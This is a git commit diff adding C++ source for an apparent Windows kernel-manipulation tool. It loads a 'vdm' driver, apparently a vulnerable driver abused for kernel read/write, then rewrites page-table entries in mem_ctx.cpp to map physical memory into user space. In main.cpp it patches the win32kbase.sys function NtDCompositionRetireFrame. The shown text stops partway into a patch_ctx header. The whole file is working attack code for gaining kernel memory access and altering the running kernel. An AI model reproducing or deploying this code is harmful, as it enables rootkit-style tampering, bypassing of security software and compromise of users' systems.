parent
62bf985dc9
commit
0862e67fda
@ -0,0 +1,64 @@
|
|||||||
|
<?xml version="1.0" encoding="utf-8"?>
|
||||||
|
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||||
|
<ItemGroup>
|
||||||
|
<Filter Include="Source Files">
|
||||||
|
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
|
||||||
|
<Extensions>cpp;c;cc;cxx;c++;def;odl;idl;hpj;bat;asm;asmx</Extensions>
|
||||||
|
</Filter>
|
||||||
|
<Filter Include="Header Files">
|
||||||
|
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
|
||||||
|
<Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>
|
||||||
|
</Filter>
|
||||||
|
<Filter Include="Header Files\util">
|
||||||
|
<UniqueIdentifier>{efdecd69-b7b9-4d44-b106-2566baa07d86}</UniqueIdentifier>
|
||||||
|
</Filter>
|
||||||
|
<Filter Include="Header Files\vdm">
|
||||||
|
<UniqueIdentifier>{716c3cdb-d7d0-4149-a9e7-92eca1084619}</UniqueIdentifier>
|
||||||
|
</Filter>
|
||||||
|
</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<ClCompile Include="main.cpp">
|
||||||
|
<Filter>Source Files</Filter>
|
||||||
|
</ClCompile>
|
||||||
|
<ClCompile Include="mem_ctx\mem_ctx.cpp">
|
||||||
|
<Filter>Source Files</Filter>
|
||||||
|
</ClCompile>
|
||||||
|
<ClCompile Include="patch_ctx\patch_ctx.cpp">
|
||||||
|
<Filter>Source Files</Filter>
|
||||||
|
</ClCompile>
|
||||||
|
<ClCompile Include="vdm_ctx\vdm_ctx.cpp">
|
||||||
|
<Filter>Source Files</Filter>
|
||||||
|
</ClCompile>
|
||||||
|
</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<ClInclude Include="util\nt.hpp">
|
||||||
|
<Filter>Header Files\util</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
<ClInclude Include="util\util.hpp">
|
||||||
|
<Filter>Header Files\util</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
<ClInclude Include="util\loadup.hpp">
|
||||||
|
<Filter>Header Files\util</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
<ClInclude Include="vdm\raw_driver.hpp">
|
||||||
|
<Filter>Header Files\vdm</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
<ClInclude Include="vdm\vdm.hpp">
|
||||||
|
<Filter>Header Files\vdm</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
<ClInclude Include="vdm_ctx\vdm_ctx.h">
|
||||||
|
<Filter>Header Files</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
<ClInclude Include="patch_ctx\patch_ctx.hpp">
|
||||||
|
<Filter>Header Files</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
<ClInclude Include="mem_ctx\mem_ctx.hpp">
|
||||||
|
<Filter>Header Files</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<ResourceCompile Include="icon.rc">
|
||||||
|
<Filter>Header Files</Filter>
|
||||||
|
</ResourceCompile>
|
||||||
|
</ItemGroup>
|
||||||
|
</Project>
|
@ -0,0 +1,3 @@
|
|||||||
|
// Icon Resource Definition
|
||||||
|
#define MAIN_ICON 102
|
||||||
|
MAIN_ICON ICON "small.ico"
|
@ -0,0 +1,44 @@
|
|||||||
|
#include <iostream>
|
||||||
|
#include "vdm_ctx/vdm_ctx.h"
|
||||||
|
#include "mem_ctx/mem_ctx.hpp"
|
||||||
|
#include "patch_ctx/patch_ctx.hpp"
|
||||||
|
|
||||||
|
int __cdecl main(int argc, char** argv)
|
||||||
|
{
|
||||||
|
const auto [drv_handle, drv_key] = vdm::load_drv();
|
||||||
|
if (drv_handle == INVALID_HANDLE_VALUE)
|
||||||
|
{
|
||||||
|
std::printf("[!] unable to load vdm driver...\n");
|
||||||
|
std::cin.get();
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
|
||||||
|
vdm::vdm_ctx v_ctx;
|
||||||
|
nasa::mem_ctx my_proc(v_ctx);
|
||||||
|
nasa::patch_ctx kernel_patch(&my_proc);
|
||||||
|
|
||||||
|
const auto function_addr =
|
||||||
|
reinterpret_cast<std::uintptr_t>(
|
||||||
|
util::get_kmodule_export(
|
||||||
|
"win32kbase.sys",
|
||||||
|
"NtDCompositionRetireFrame"
|
||||||
|
));
|
||||||
|
|
||||||
|
const auto new_patch_page = kernel_patch.patch((void*)function_addr);
|
||||||
|
std::cout << "[+] new_patch_page: " << new_patch_page << std::endl;
|
||||||
|
*reinterpret_cast<short*>(new_patch_page) = 0xDEAD;
|
||||||
|
|
||||||
|
std::cout << "[+] kernel MZ (before patch): " << std::hex << v_ctx.rkm<short>(function_addr) << std::endl;
|
||||||
|
kernel_patch.enable();
|
||||||
|
std::cout << "[+] kernel MZ (patch enabled): " << std::hex << v_ctx.rkm<short>(function_addr) << std::endl;
|
||||||
|
kernel_patch.disable();
|
||||||
|
std::cout << "[+] kernel MZ (patch disabled): " << std::hex << v_ctx.rkm<short>(function_addr) << std::endl;
|
||||||
|
|
||||||
|
if (!vdm::unload_drv(drv_handle, drv_key))
|
||||||
|
{
|
||||||
|
std::printf("[!] unable to unload driver...\n");
|
||||||
|
std::cin.get();
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
std::cin.get();
|
||||||
|
}
|
@ -0,0 +1,483 @@
|
|||||||
|
#include "mem_ctx.hpp"
|
||||||
|
|
||||||
|
namespace nasa
|
||||||
|
{
|
||||||
|
mem_ctx::mem_ctx(vdm::vdm_ctx& v_ctx, DWORD pid)
|
||||||
|
:
|
||||||
|
v_ctx(&v_ctx),
|
||||||
|
dirbase(get_dirbase(v_ctx, pid)),
|
||||||
|
pid(pid)
|
||||||
|
{
|
||||||
|
// find an empty pml4e inside of current processes pml4...
|
||||||
|
const auto current_pml4 =
|
||||||
|
v_ctx.get_virtual(reinterpret_cast<std::uintptr_t>(
|
||||||
|
get_dirbase(v_ctx, GetCurrentProcessId())));
|
||||||
|
|
||||||
|
for (auto idx = 100u; idx > 0u; --idx)
|
||||||
|
if (!v_ctx.rkm<pml4e>(current_pml4 + (idx * sizeof pml4e)).value)
|
||||||
|
this->pml4e_index = idx;
|
||||||
|
|
||||||
|
// allocate a pdpt
|
||||||
|
this->new_pdpt.second =
|
||||||
|
reinterpret_cast<ppdpte>(
|
||||||
|
VirtualAlloc(
|
||||||
|
NULL,
|
||||||
|
PAGE_4KB,
|
||||||
|
MEM_COMMIT | MEM_RESERVE,
|
||||||
|
PAGE_READWRITE
|
||||||
|
));
|
||||||
|
|
||||||
|
PAGE_IN(this->new_pdpt.second, PAGE_4KB);
|
||||||
|
// get page table entries for new pdpt
|
||||||
|
pt_entries new_pdpt_entries;
|
||||||
|
hyperspace_entries(new_pdpt_entries, new_pdpt.second);
|
||||||
|
this->new_pdpt.first = reinterpret_cast<ppdpte>(new_pdpt_entries.pt.second.pfn << 12);
|
||||||
|
|
||||||
|
// make a new pml4e that points to our new pdpt.
|
||||||
|
new_pdpt_entries.pml4.second.pfn = new_pdpt_entries.pt.second.pfn;
|
||||||
|
|
||||||
|
// set the pml4e to point to the new pdpt
|
||||||
|
set_pml4e(reinterpret_cast<::ppml4e>(get_dirbase()) + this->pml4e_index, new_pdpt_entries.pml4.second, true);
|
||||||
|
|
||||||
|
// make a new pd
|
||||||
|
this->new_pd.second =
|
||||||
|
reinterpret_cast<ppde>(
|
||||||
|
VirtualAlloc(
|
||||||
|
NULL,
|
||||||
|
PAGE_4KB,
|
||||||
|
MEM_COMMIT | MEM_RESERVE,
|
||||||
|
PAGE_READWRITE
|
||||||
|
));
|
||||||
|
|
||||||
|
PAGE_IN(this->new_pd.second, PAGE_4KB);
|
||||||
|
|
||||||
|
// get paging table entries for pd
|
||||||
|
pt_entries new_pd_entries;
|
||||||
|
hyperspace_entries(new_pd_entries, this->new_pd.second);
|
||||||
|
this->new_pd.first = reinterpret_cast<ppde>(new_pd_entries.pt.second.pfn << 12);
|
||||||
|
|
||||||
|
// make a new pt
|
||||||
|
this->new_pt.second =
|
||||||
|
reinterpret_cast<ppte>(
|
||||||
|
VirtualAlloc(
|
||||||
|
NULL,
|
||||||
|
PAGE_4KB,
|
||||||
|
MEM_COMMIT | MEM_RESERVE,
|
||||||
|
PAGE_READWRITE
|
||||||
|
));
|
||||||
|
|
||||||
|
PAGE_IN(this->new_pt.second, PAGE_4KB);
|
||||||
|
|
||||||
|
// get paging table entries for pt
|
||||||
|
pt_entries new_pt_entries;
|
||||||
|
hyperspace_entries(new_pt_entries, this->new_pt.second);
|
||||||
|
this->new_pt.first = reinterpret_cast<ppte>(new_pt_entries.pt.second.pfn << 12);
|
||||||
|
}
|
||||||
|
|
||||||
|
mem_ctx::~mem_ctx()
|
||||||
|
{
|
||||||
|
const auto pml4 =
|
||||||
|
reinterpret_cast<ppml4e>(
|
||||||
|
set_page(dirbase))[pml4e_index] = pml4e{ NULL };
|
||||||
|
}
|
||||||
|
|
||||||
|
void* mem_ctx::set_page(void* addr)
|
||||||
|
{
|
||||||
|
// table entry change.
|
||||||
|
++pte_index;
|
||||||
|
if (pte_index >= 511)
|
||||||
|
{
|
||||||
|
++pde_index;
|
||||||
|
pte_index = 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (pde_index >= 511)
|
||||||
|
{
|
||||||
|
++pdpte_index;
|
||||||
|
pde_index = 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (pdpte_index >= 511)
|
||||||
|
pdpte_index = 0;
|
||||||
|
|
||||||
|
pdpte new_pdpte = { NULL };
|
||||||
|
new_pdpte.present = true;
|
||||||
|
new_pdpte.rw = true;
|
||||||
|
new_pdpte.pfn = reinterpret_cast<std::uintptr_t>(new_pd.first) >> 12;
|
||||||
|
new_pdpte.user_supervisor = true;
|
||||||
|
new_pdpte.accessed = true;
|
||||||
|
|
||||||
|
// set pdpte entry
|
||||||
|
*reinterpret_cast<pdpte*>(new_pdpt.second + pdpte_index) = new_pdpte;
|
||||||
|
|
||||||
|
pde new_pde = { NULL };
|
||||||
|
new_pde.present = true;
|
||||||
|
new_pde.rw = true;
|
||||||
|
new_pde.pfn = reinterpret_cast<std::uintptr_t>(new_pt.first) >> 12;
|
||||||
|
new_pde.user_supervisor = true;
|
||||||
|
new_pde.accessed = true;
|
||||||
|
|
||||||
|
// set pde entry
|
||||||
|
*reinterpret_cast<pde*>(new_pd.second + pde_index) = new_pde;
|
||||||
|
|
||||||
|
pte new_pte = { NULL };
|
||||||
|
new_pte.present = true;
|
||||||
|
new_pte.rw = true;
|
||||||
|
new_pte.pfn = reinterpret_cast<std::uintptr_t>(addr) >> 12;
|
||||||
|
new_pte.user_supervisor = true;
|
||||||
|
new_pte.accessed = true;
|
||||||
|
|
||||||
|
// set pte entry
|
||||||
|
*reinterpret_cast<pte*>(new_pt.second + pte_index) = new_pte;
|
||||||
|
|
||||||
|
// set page offset
|
||||||
|
this->page_offset = virt_addr_t{ addr }.offset;
|
||||||
|
return get_page();
|
||||||
|
}
|
||||||
|
|
||||||
|
void* mem_ctx::get_page() const
|
||||||
|
{
|
||||||
|
// builds a new address given the state of all table indexes
|
||||||
|
virt_addr_t new_addr;
|
||||||
|
new_addr.pml4_index = this->pml4e_index;
|
||||||
|
new_addr.pdpt_index = this->pdpte_index;
|
||||||
|
new_addr.pd_index = this->pde_index;
|
||||||
|
new_addr.pt_index = this->pte_index;
|
||||||
|
new_addr.offset = this->page_offset;
|
||||||
|
return new_addr.value;
|
||||||
|
}
|
||||||
|
|
||||||
|
void* mem_ctx::get_dirbase(vdm::vdm_ctx& v_ctx, DWORD pid)
|
||||||
|
{
|
||||||
|
const auto peproc =
|
||||||
|
reinterpret_cast<std::uint64_t>(v_ctx.get_peprocess(pid));
|
||||||
|
|
||||||
|
const auto dirbase =
|
||||||
|
v_ctx.rkm<pte>(peproc + 0x28);
|
||||||
|
|
||||||
|
return reinterpret_cast<void*>(dirbase.pfn << 12);
|
||||||
|
}
|
||||||
|
|
||||||
|
bool mem_ctx::hyperspace_entries(pt_entries& entries, void* addr)
|
||||||
|
{
|
||||||
|
if (!addr || !dirbase)
|
||||||
|
return false;
|
||||||
|
|
||||||
|
virt_addr_t virt_addr{ addr };
|
||||||
|
entries.pml4.first = reinterpret_cast<ppml4e>(dirbase) + virt_addr.pml4_index;
|
||||||
|
entries.pml4.second = v_ctx->rkm<pml4e>(
|
||||||
|
v_ctx->get_virtual(reinterpret_cast<std::uintptr_t>(entries.pml4.first)));
|
||||||
|
|
||||||
|
if (!entries.pml4.second.value)
|
||||||
|
return false;
|
||||||
|
|
||||||
|
entries.pdpt.first = reinterpret_cast<ppdpte>(entries.pml4.second.pfn << 12) + virt_addr.pdpt_index;
|
||||||
|
entries.pdpt.second = v_ctx->rkm<pdpte>(
|
||||||
|
v_ctx->get_virtual(reinterpret_cast<std::uintptr_t>(entries.pdpt.first)));
|
||||||
|
|
||||||
|
if (!entries.pdpt.second.value)
|
||||||
|
return false;
|
||||||
|
|
||||||
|
entries.pd.first = reinterpret_cast<ppde>(entries.pdpt.second.pfn << 12) + virt_addr.pd_index;
|
||||||
|
entries.pd.second = v_ctx->rkm<pde>(
|
||||||
|
v_ctx->get_virtual(reinterpret_cast<std::uintptr_t>(entries.pd.first)));
|
||||||
|
|
||||||
|
// if its a 2mb page
|
||||||
|
if (entries.pd.second.large_page)
|
||||||
|
{
|
||||||
|
entries.pt.second.value = entries.pd.second.value;
|
||||||
|
entries.pt.first = reinterpret_cast<ppte>(entries.pd.second.value);
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
entries.pt.first = reinterpret_cast<ppte>(entries.pd.second.pfn << 12) + virt_addr.pt_index;
|
||||||
|
entries.pt.second = v_ctx->rkm<pte>(
|
||||||
|
v_ctx->get_virtual(reinterpret_cast<std::uintptr_t>(entries.pt.first)));
|
||||||
|
|
||||||
|
if (!entries.pt.second.value)
|
||||||
|
return false;
|
||||||
|
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
auto mem_ctx::get_pte(void* addr, bool use_hyperspace) -> std::pair<ppte, pte>
|
||||||
|
{
|
||||||
|
if (!dirbase || !addr)
|
||||||
|
return { {}, {} };
|
||||||
|
|
||||||
|
pt_entries entries;
|
||||||
|
if ((use_hyperspace ? hyperspace_entries(entries, addr) : (bool)virt_to_phys(entries, addr)))
|
||||||
|
return { entries.pt.first, entries.pt.second };
|
||||||
|
|
||||||
|
return { {}, {} };
|
||||||
|
}
|
||||||
|
|
||||||
|
void mem_ctx::set_pte(void* addr, const ::pte& pte, bool use_hyperspace)
|
||||||
|
{
|
||||||
|
if (!dirbase || !addr)
|
||||||
|
return;
|
||||||
|
|
||||||
|
if (use_hyperspace)
|
||||||
|
v_ctx->wkm(v_ctx->get_virtual(reinterpret_cast<std::uintptr_t>(addr)), pte);
|
||||||
|
else
|
||||||
|
write_phys(addr, pte);
|
||||||
|
}
|
||||||
|
|
||||||
|
auto mem_ctx::get_pde(void* addr, bool use_hyperspace) -> std::pair<ppde, pde>
|
||||||
|
{
|
||||||
|
if (!dirbase || !addr)
|
||||||
|
return {};
|
||||||
|
|
||||||
|
pt_entries entries;
|
||||||
|
if ((use_hyperspace ? hyperspace_entries(entries, addr) : (bool)virt_to_phys(entries, addr)))
|
||||||
|
return { entries.pd.first, entries.pd.second };
|
||||||
|
return {};
|
||||||
|
}
|
||||||
|
|
||||||
|
void mem_ctx::set_pde(void* addr, const ::pde& pde, bool use_hyperspace)
|
||||||
|
{
|
||||||
|
if (!dirbase || !addr)
|
||||||
|
return;
|
||||||
|
|
||||||
|
if (use_hyperspace)
|
||||||
|
v_ctx->wkm(v_ctx->get_virtual(reinterpret_cast<std::uintptr_t>(addr)), pde);
|
||||||
|
else
|
||||||
|
write_phys(addr, pde);
|
||||||
|
}
|
||||||
|
|
||||||
|
auto mem_ctx::get_pdpte(void* addr, bool use_hyperspace) -> std::pair<ppdpte, pdpte>
|
||||||
|
{
|
||||||
|
if (!dirbase || !addr)
|
||||||
|
return {};
|
||||||
|
|
||||||
|
pt_entries entries;
|
||||||
|
if ((use_hyperspace ? hyperspace_entries(entries, addr) : (bool)virt_to_phys(entries, addr)))
|
||||||
|
return { entries.pdpt.first, entries.pdpt.second };
|
||||||
|
return {};
|
||||||
|
}
|
||||||
|
|
||||||
|
void mem_ctx::set_pdpte(void* addr, const ::pdpte& pdpte, bool use_hyperspace)
|
||||||
|
{
|
||||||
|
if (!dirbase || !addr)
|
||||||
|
return;
|
||||||
|
|
||||||
|
if (use_hyperspace)
|
||||||
|
v_ctx->wkm(v_ctx->get_virtual(reinterpret_cast<std::uintptr_t>(addr)), pdpte);
|
||||||
|
else
|
||||||
|
write_phys(addr, pdpte);
|
||||||
|
}
|
||||||
|
|
||||||
|
auto mem_ctx::get_pml4e(void* addr, bool use_hyperspace) -> std::pair<ppml4e, pml4e>
|
||||||
|
{
|
||||||
|
if (!dirbase || !addr)
|
||||||
|
return {};
|
||||||
|
|
||||||
|
pt_entries entries;
|
||||||
|
if ((use_hyperspace ? hyperspace_entries(entries, addr) : (bool)virt_to_phys(entries, addr)))
|
||||||
|
return { entries.pml4.first, entries.pml4.second };
|
||||||
|
return {};
|
||||||
|
}
|
||||||
|
|
||||||
|
void mem_ctx::set_pml4e(void* addr, const ::pml4e& pml4e, bool use_hyperspace)
|
||||||
|
{
|
||||||
|
if (!dirbase || !addr)
|
||||||
|
return;
|
||||||
|
|
||||||
|
if (use_hyperspace)
|
||||||
|
v_ctx->wkm(v_ctx->get_virtual(reinterpret_cast<std::uintptr_t>(addr)), pml4e);
|
||||||
|
else
|
||||||
|
write_phys(addr, pml4e);
|
||||||
|
}
|
||||||
|
|
||||||
|
auto mem_ctx::read_virtual(void* buffer, void* addr, std::size_t size) -> std::pair<void*, void*>
|
||||||
|
{
|
||||||
|
if (!buffer || !addr || !size || !dirbase)
|
||||||
|
return {};
|
||||||
|
|
||||||
|
virt_addr_t virt_addr{ addr };
|
||||||
|
if (size <= PAGE_4KB - virt_addr.offset)
|
||||||
|
{
|
||||||
|
pt_entries entries;
|
||||||
|
read_phys
|
||||||
|
(
|
||||||
|
buffer,
|
||||||
|
virt_to_phys(entries, addr),
|
||||||
|
size
|
||||||
|
);
|
||||||
|
|
||||||
|
return
|
||||||
|
{
|
||||||
|
reinterpret_cast<void*>(reinterpret_cast<std::uintptr_t>(buffer) + size),
|
||||||
|
reinterpret_cast<void*>(reinterpret_cast<std::uintptr_t>(addr) + size)
|
||||||
|
};
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
// cut remainder
|
||||||
|
const auto [new_buffer_addr, new_addr] = read_virtual
|
||||||
|
(
|
||||||
|
buffer,
|
||||||
|
addr,
|
||||||
|
PAGE_4KB - virt_addr.offset
|
||||||
|
);
|
||||||
|
|
||||||
|
// forward work load
|
||||||
|
return read_virtual
|
||||||
|
(
|
||||||
|
new_buffer_addr,
|
||||||
|
new_addr,
|
||||||
|
size - (PAGE_4KB - virt_addr.offset)
|
||||||
|
);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
auto mem_ctx::write_virtual(void* buffer, void* addr, std::size_t size) -> std::pair<void*, void*>
|
||||||
|
{
|
||||||
|
if (!buffer || !addr || !size || !dirbase)
|
||||||
|
return {};
|
||||||
|
|
||||||
|
virt_addr_t virt_addr{ addr };
|
||||||
|
if (size <= PAGE_4KB - virt_addr.offset)
|
||||||
|
{
|
||||||
|
pt_entries entries;
|
||||||
|
write_phys
|
||||||
|
(
|
||||||
|
buffer,
|
||||||
|
virt_to_phys(entries, addr),
|
||||||
|
size
|
||||||
|
);
|
||||||
|
|
||||||
|
return
|
||||||
|
{
|
||||||
|
reinterpret_cast<void*>(reinterpret_cast<std::uintptr_t>(buffer) + size),
|
||||||
|
reinterpret_cast<void*>(reinterpret_cast<std::uintptr_t>(addr) + size)
|
||||||
|
};
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
// cut remainder
|
||||||
|
const auto [new_buffer_addr, new_addr] = write_virtual
|
||||||
|
(
|
||||||
|
buffer,
|
||||||
|
addr,
|
||||||
|
PAGE_4KB - virt_addr.offset
|
||||||
|
);
|
||||||
|
|
||||||
|
// forward work load
|
||||||
|
return write_virtual
|
||||||
|
(
|
||||||
|
new_buffer_addr,
|
||||||
|
new_addr,
|
||||||
|
size - (PAGE_4KB - virt_addr.offset)
|
||||||
|
);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
void mem_ctx::read_phys(void* buffer, void* addr, std::size_t size)
|
||||||
|
{
|
||||||
|
if (!buffer || !addr || !size)
|
||||||
|
return;
|
||||||
|
|
||||||
|
const auto temp_page = set_page(addr);
|
||||||
|
__try
|
||||||
|
{
|
||||||
|
memcpy(buffer, temp_page, size);
|
||||||
|
}
|
||||||
|
__except (EXCEPTION_EXECUTE_HANDLER)
|
||||||
|
{}
|
||||||
|
}
|
||||||
|
|
||||||
|
void mem_ctx::write_phys(void* buffer, void* addr, std::size_t size)
|
||||||
|
{
|
||||||
|
if (!buffer || !addr || !size)
|
||||||
|
return;
|
||||||
|
|
||||||
|
const auto temp_page = set_page(addr);
|
||||||
|
__try
|
||||||
|
{
|
||||||
|
memcpy(temp_page, buffer, size);
|
||||||
|
}
|
||||||
|
__except (EXCEPTION_EXECUTE_HANDLER)
|
||||||
|
{}
|
||||||
|
}
|
||||||
|
|
||||||
|
void* mem_ctx::virt_to_phys(pt_entries& entries, void* addr)
|
||||||
|
{
|
||||||
|
if (!addr || !dirbase)
|
||||||
|
return {};
|
||||||
|
|
||||||
|
const virt_addr_t virt_addr{ addr };
|
||||||
|
|
||||||
|
// traverse paging tables
|
||||||
|
auto pml4e = read_phys<::pml4e>(
|
||||||
|
reinterpret_cast<ppml4e>(this->dirbase) + virt_addr.pml4_index);
|
||||||
|
|
||||||
|
entries.pml4.first = reinterpret_cast<ppml4e>(this->dirbase) + virt_addr.pml4_index;
|
||||||
|
entries.pml4.second = pml4e;
|
||||||
|
|
||||||
|
if (!pml4e.value)
|
||||||
|
return NULL;
|
||||||
|
|
||||||
|
auto pdpte = read_phys<::pdpte>(
|
||||||
|
reinterpret_cast<ppdpte>(pml4e.pfn << 12) + virt_addr.pdpt_index);
|
||||||
|
|
||||||
|
entries.pdpt.first = reinterpret_cast<ppdpte>(pml4e.pfn << 12) + virt_addr.pdpt_index;
|
||||||
|
entries.pdpt.second = pdpte;
|
||||||
|
|
||||||
|
if (!pdpte.value)
|
||||||
|
return NULL;
|
||||||
|
|
||||||
|
auto pde = read_phys<::pde>(
|
||||||
|
reinterpret_cast<ppde>(pdpte.pfn << 12) + virt_addr.pd_index);
|
||||||
|
|
||||||
|
entries.pd.first = reinterpret_cast<ppde>(pdpte.pfn << 12) + virt_addr.pd_index;
|
||||||
|
entries.pd.second = pde;
|
||||||
|
|
||||||
|
if (!pde.value)
|
||||||
|
return NULL;
|
||||||
|
|
||||||
|
auto pte = read_phys<::pte>(
|
||||||
|
reinterpret_cast<ppte>(pde.pfn << 12) + virt_addr.pt_index);
|
||||||
|
|
||||||
|
entries.pt.first = reinterpret_cast<ppte>(pde.pfn << 12) + virt_addr.pt_index;
|
||||||
|
entries.pt.second = pte;
|
||||||
|
|
||||||
|
if (!pte.value)
|
||||||
|
return NULL;
|
||||||
|
|
||||||
|
return reinterpret_cast<void*>((pte.pfn << 12) + virt_addr.offset);
|
||||||
|
}
|
||||||
|
|
||||||
|
unsigned mem_ctx::get_pid() const
|
||||||
|
{
|
||||||
|
return pid;
|
||||||
|
}
|
||||||
|
|
||||||
|
void* mem_ctx::get_dirbase() const
|
||||||
|
{
|
||||||
|
return dirbase;
|
||||||
|
}
|
||||||
|
|
||||||
|
pml4e mem_ctx::operator[](std::uint16_t pml4_idx)
|
||||||
|
{
|
||||||
|
return read_phys<::pml4e>(reinterpret_cast<ppml4e>(this->dirbase) + pml4_idx);
|
||||||
|
}
|
||||||
|
|
||||||
|
pdpte mem_ctx::operator[](const std::pair<std::uint16_t, std::uint16_t>& entry_idx)
|
||||||
|
{
|
||||||
|
const auto pml4_entry = this->operator[](entry_idx.first);
|
||||||
|
return read_phys<::pdpte>(reinterpret_cast<ppdpte>(pml4_entry.pfn << 12) + entry_idx.second);
|
||||||
|
}
|
||||||
|
|
||||||
|
pde mem_ctx::operator[](const std::tuple<std::uint16_t, std::uint16_t, std::uint16_t>& entry_idx)
|
||||||
|
{
|
||||||
|
const auto pdpt_entry = this->operator[]({ std::get<0>(entry_idx), std::get<1>(entry_idx) });
|
||||||
|
return read_phys<::pde>(reinterpret_cast<ppde>(pdpt_entry.pfn << 12) + std::get<2>(entry_idx));
|
||||||
|
}
|
||||||
|
|
||||||
|
pte mem_ctx::operator[](const std::tuple<std::uint16_t, std::uint16_t, std::uint16_t, std::uint16_t>& entry_idx)
|
||||||
|
{
|
||||||
|
const auto pd_entry = this->operator[]({ std::get<0>(entry_idx), std::get<1>(entry_idx), std::get<2>(entry_idx) });
|
||||||
|
return read_phys<::pte>(reinterpret_cast<ppte>(pd_entry.pfn << 12) + std::get<3>(entry_idx));
|
||||||
|
}
|
||||||
|
}
|
@ -0,0 +1,87 @@
|
|||||||
|
#pragma once
|
||||||
|
#include "../util/nt.hpp"
|
||||||
|
#include "../vdm_ctx/vdm_ctx.h"
|
||||||
|
|
||||||
|
namespace nasa
|
||||||
|
{
|
||||||
|
class mem_ctx
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
explicit mem_ctx(vdm::vdm_ctx& v_ctx, DWORD pid = GetCurrentProcessId());
|
||||||
|
~mem_ctx();
|
||||||
|
|
||||||
|
auto get_pte(void* addr, bool use_hyperspace = false) -> std::pair<ppte, pte>;
|
||||||
|
void set_pte(void* addr, const ::pte& pte, bool use_hyperspace = false);
|
||||||
|
|
||||||
|
auto get_pde(void* addr, bool use_hyperspace = false) -> std::pair<ppde, pde>;
|
||||||
|
void set_pde(void* addr, const ::pde& pde, bool use_hyperspace = false);
|
||||||
|
|
||||||
|
auto get_pdpte(void* addr, bool use_hyperspace = false) -> std::pair<ppdpte, pdpte>;
|
||||||
|
void set_pdpte(void* addr, const ::pdpte& pdpte, bool use_hyperspace = false);
|
||||||
|
|
||||||
|
auto get_pml4e(void* addr, bool use_hyperspace = false) -> std::pair<ppml4e, pml4e>;
|
||||||
|
void set_pml4e(void* addr, const ::pml4e& pml4e, bool use_hyperspace = false);
|
||||||
|
|
||||||
|
void* get_dirbase() const;
|
||||||
|
static void* get_dirbase(vdm::vdm_ctx& v_ctx, DWORD pid);
|
||||||
|
|
||||||
|
void read_phys(void* buffer, void* addr, std::size_t size);
|
||||||
|
void write_phys(void* buffer, void* addr, std::size_t size);
|
||||||
|
|
||||||
|
template <class T>
|
||||||
|
__forceinline T read_phys(void* addr)
|
||||||
|
{
|
||||||
|
T buffer;
|
||||||
|
read_phys((void*)&buffer, addr, sizeof(T));
|
||||||
|
return buffer;
|
||||||
|
}
|
||||||
|
|
||||||
|
template <class T>
|
||||||
|
__forceinline void write_phys(void* addr, const T& data)
|
||||||
|
{
|
||||||
|
write_phys((void*)&data, addr, sizeof(T));
|
||||||
|
}
|
||||||
|
|
||||||
|
auto read_virtual(void* buffer, void* addr, std::size_t size) -> std::pair<void*, void*>;
|
||||||
|
auto write_virtual(void* buffer, void* addr, std::size_t size) -> std::pair<void*, void*>;
|
||||||
|
|
||||||
|
template <class T>
|
||||||
|
__forceinline T read_virtual(void* addr)
|
||||||
|
{
|
||||||
|
T buffer;
|
||||||
|
read_virtual((void*)&buffer, addr, sizeof(T));
|
||||||
|
return buffer;
|
||||||
|
}
|
||||||
|
|
||||||
|
template <class T>
|
||||||
|
__forceinline void write_virtual(void* addr, const T& data)
|
||||||
|
{
|
||||||
|
write_virtual((void*)&data, addr, sizeof(T));
|
||||||
|
}
|
||||||
|
|
||||||
|
void* virt_to_phys(pt_entries& entries, void* addr);
|
||||||
|
void* set_page(void* addr);
|
||||||
|
void* get_page() const;
|
||||||
|
unsigned get_pid() const;
|
||||||
|
|
||||||
|
pml4e operator[](std::uint16_t pml4_idx);
|
||||||
|
pdpte operator[](const std::pair<std::uint16_t, std::uint16_t>& entry_idx);
|
||||||
|
pde operator[](const std::tuple<std::uint16_t, std::uint16_t, std::uint16_t>& entry_idx);
|
||||||
|
pte operator[](const std::tuple<std::uint16_t, std::uint16_t, std::uint16_t, std::uint16_t>& entry_idx);
|
||||||
|
private:
|
||||||
|
|
||||||
|
bool hyperspace_entries(pt_entries& entries, void* addr);
|
||||||
|
void* dirbase;
|
||||||
|
vdm::vdm_ctx* v_ctx;
|
||||||
|
std::uint16_t pml4e_index,
|
||||||
|
pdpte_index,
|
||||||
|
pde_index,
|
||||||
|
pte_index,
|
||||||
|
page_offset;
|
||||||
|
|
||||||
|
std::pair<ppdpte, ppdpte> new_pdpt;
|
||||||
|
std::pair<ppde,ppde> new_pd;
|
||||||
|
std::pair<ppte, ppte> new_pt;
|
||||||
|
unsigned pid;
|
||||||
|
};
|
||||||
|
}
|
@ -0,0 +1,34 @@
|
|||||||
|
#pragma once
|
||||||
|
#include "../mem_ctx/mem_ctx.hpp"
|
||||||
|
|
||||||
|
namespace nasa
|
||||||
|
{
|
||||||
|
class patch_ctx
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
explicit patch_ctx(mem_ctx* mem_ctx);
|
||||||
|
void* patch(void* kernel_addr);
|
||||||
